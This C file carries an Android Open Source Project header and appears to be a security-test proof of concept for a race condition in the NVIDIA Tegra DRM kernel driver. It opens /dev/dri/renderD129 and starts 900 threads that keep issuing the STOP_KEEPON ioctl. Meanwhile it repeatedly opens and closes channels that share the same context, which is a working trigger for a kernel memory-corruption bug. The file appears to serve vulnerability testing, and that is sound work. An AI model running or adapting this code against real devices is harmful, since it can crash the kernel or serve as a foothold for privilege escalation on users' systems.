/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
#define KEEPON_THREAD_NUM 900
#define TRY_TIMES KEEPON_THREAD_NUM
#define DEV "/dev/dri/renderD129"
#define SIOCIWFIRSTPRIV 0x8BE0
#define SIOCGIWNAME 0x8B01
#define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
#define PRIV_CUSTOM_BWCS_CMD 13
#define PRIV_CMD_OID 15
#define PRIV_CMD_SW_CTRL 20
#define PRIV_CMD_WSC_PROBE_REQ 22
enum host1x_class {
HOST1X_CLASS_HOST1X = 0x1,
HOST1X_CLASS_NVENC = 0x21,
HOST1X_CLASS_VI = 0x30,
HOST1X_CLASS_ISPA = 0x32,
HOST1X_CLASS_ISPB = 0x34,
HOST1X_CLASS_GR2D = 0x51,
HOST1X_CLASS_GR2D_SB = 0x52,
HOST1X_CLASS_VIC = 0x5D,
HOST1X_CLASS_GR3D = 0x60,
HOST1X_CLASS_NVJPG = 0xC0,
HOST1X_CLASS_NVDEC = 0xF0,
};
#define DRM_COMMAND_BASE 0x40
#define DRM_COMMAND_END 0xA0
#define DRM_TEGRA_OPEN_CHANNEL 0x05
#define DRM_TEGRA_CLOSE_CHANNEL 0x06
#define DRM_TEGRA_STOP_KEEPON 0x11
struct drm_tegra_open_channel {
__u32 client;
__u32 pad;
volatile __u64 context;
};
struct drm_tegra_close_channel {
volatile __u64 context;
};
struct drm_tegra_keepon {
volatile __u64 context;
};
#define DRM_IOCTL_BASE 'd'
#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
#define DRM_IOCTL_TEGRA_STOP_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_STOP_KEEPON, struct drm_tegra_keepon)
int fd;
pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
volatile struct drm_tegra_open_channel open_c = { 0 };
volatile struct drm_tegra_close_channel close_c = { 0 };
volatile struct drm_tegra_keepon keepon_c = { 0 };
static int set_affinity(int num)
{
int ret = 0;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(num, &mask);
ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
return ret;
}
static void prepare()
{
open_c.client = HOST1X_CLASS_VIC;
}
void* keepon_thread(void* no_use)
{
set_affinity(1);
while(1){
ioctl(fd, DRM_IOCTL_TEGRA_STOP_KEEPON, &keepon_c);
}
}
int main()
{
int i, try_time = TRY_TIMES, ret;
/* bind_cpu */
set_affinity(0);
/* open dev */
fd = open(DEV,O_RDONLY);
if(fd == -1){
return 0;
}
/* prepare ioctl cmd */
prepare();
/* create keepon thread */
for(i = 0; i < KEEPON_THREAD_NUM; i++){
ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
if(ret){
goto out_keepon_thread;
}
}
while(try_time){
/* open */
ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
if(ret == 0){
try_time--;
/* set keepon */
keepon_c.context = open_c.context;
/* set close */
close_c.context = open_c.context;
usleep(500);
ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
}
}
out_keepon_thread:
/* kill keepon thread */
for(i = 0; i < KEEPON_THREAD_NUM; i++){
pthread_kill(keepon_thread_id[i], SIGKILL);
}
out_dev:
close(fd);
return 0;
}